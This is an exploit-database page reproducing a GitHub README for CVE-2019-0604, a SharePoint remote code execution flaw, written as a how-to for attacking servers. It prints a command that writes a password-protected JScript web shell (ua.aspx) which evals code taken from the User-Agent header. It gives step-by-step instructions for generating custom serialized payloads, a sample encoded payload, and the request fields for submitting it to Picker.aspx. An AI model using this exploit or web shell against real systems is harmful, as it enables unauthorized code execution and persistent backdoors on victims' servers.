Sploitus

Exploit for Improper Input Validation in Microsoft

CVE-2019-0604

githubexploit · 2019-12-10

Exploit Code

README85 lines
## https://sploitus.com/exploit?id=90B60B74-AD49-5C01-A3B3-78E2BEFBE8DE
# I. Explanation of k8gege’s CVE-2019-0604-exp.py

>k8gege’s script: https://github.com/k8gege/CVE-2019-0604

To be honest, k8gege’s Python script is a bit complicated, with a lot of hexadecimal strings. They are divided into payload1,2,3… It’s quite complex.

The Python script sends a payload remotely. After deserialization, it becomes an XML data structure.

~~~xml

    	cmd
    	/c echo ^<%@ Page Language="Jscript" %^>^<%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\MicrosoftShared\\WebServerExtensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" 

~~~

![Image Pyaload Maker](Capture3.PNG)

This means that the “echo” command is executed remotely, and an up.aspx file is written to the “layouts” directory on the SharePoint server.

~~~shell
cmd /c echo ^<%@ Page Language="Jscript" %^>^<%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\MicrosoftShared\\WebServerExtensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" 

~~~

A K8 flying knife-specific UA one-line Trojan ASXP has been created. Now, we have the shell.

~~~asp

~~~

# II. Creating Your Own Payload

If you want to create your own payload to execute commands remotely, follow these steps:

1. Download the compiled program from https://github.com/boxhg/CVE-2019-0604/releases. Unzip it and run CVE20190604Forms.exe.

2. Enter the command in the Cmd text box. Click the “Update XML” button, and the command will be merged into an XML file.

3. Click “EncodeEntity”. The program will serialize the XML string into an object and trigger the execution of the payload. The serialized string will be displayed in the “payload” text box.

~~~shell
__cp087135009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e60046005600460075002700160...... ~~~

4. These strings, "__cp....", represent the payload. Copy them into k8gege’s CVE-2019-0604-exp.py, and modify them to replace the original payload.

5. When submitting the payload to Picker.aspx, additional parameters are required. You can obtain these parameters using the Burp proxy tool. Then, pass the payload value to ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData.

~~~
... values = {
    '__REQUESTDIGEST':YOUR_REQUESTDIGEST,
    '__EVENTTARGET':'',
    '__EVENTARGUMENT':'',
    '__spPickerHasReturnValue':'',
    '__spPickerReturnValueHolder':'',
    '__VIEWSTATE':YOUR_VIEWSTATE,
    '__VIEWSTATEGENERATOR':'',
    'ctl00$PlaceHolderDialogBodySection$ctl07$queryTextBox':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData':**YOUR_PayloadData**,
    'ctl00$PlaceHolderDialogBodySection$ctl05$OriginalEntities':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityKey':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityDisplayText':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$downlevelTextBox':' ',
    '__CALLBACKID':'ctl00$PlaceHolderDialogBodySection$ctl07',
    '__CALLBACKPARAM':';#;#11;#;#;#',
    '__EVENTVALIDATION':YOUR_EVENTVALIDATION
}

data = urllib.urlencode(values)

... ~~~

5. Run the Python script. Good luck!!! It’s recommended to use Burp to send the payload, as it’s more convenient.

### Related to CVE-2019-0604:

https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability

https://github.com/linhlhq/CVE-2019-0604

https://github.com/k8gege/K8CScan/wiki/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-CVE-2019-0604-SharePoint-GetShell-Exploit

https://github.com/k8gege/CVE-2019-0604

[source-iocs-preserved url=https://github.com/boxhg/CVE-2019-0604/releases]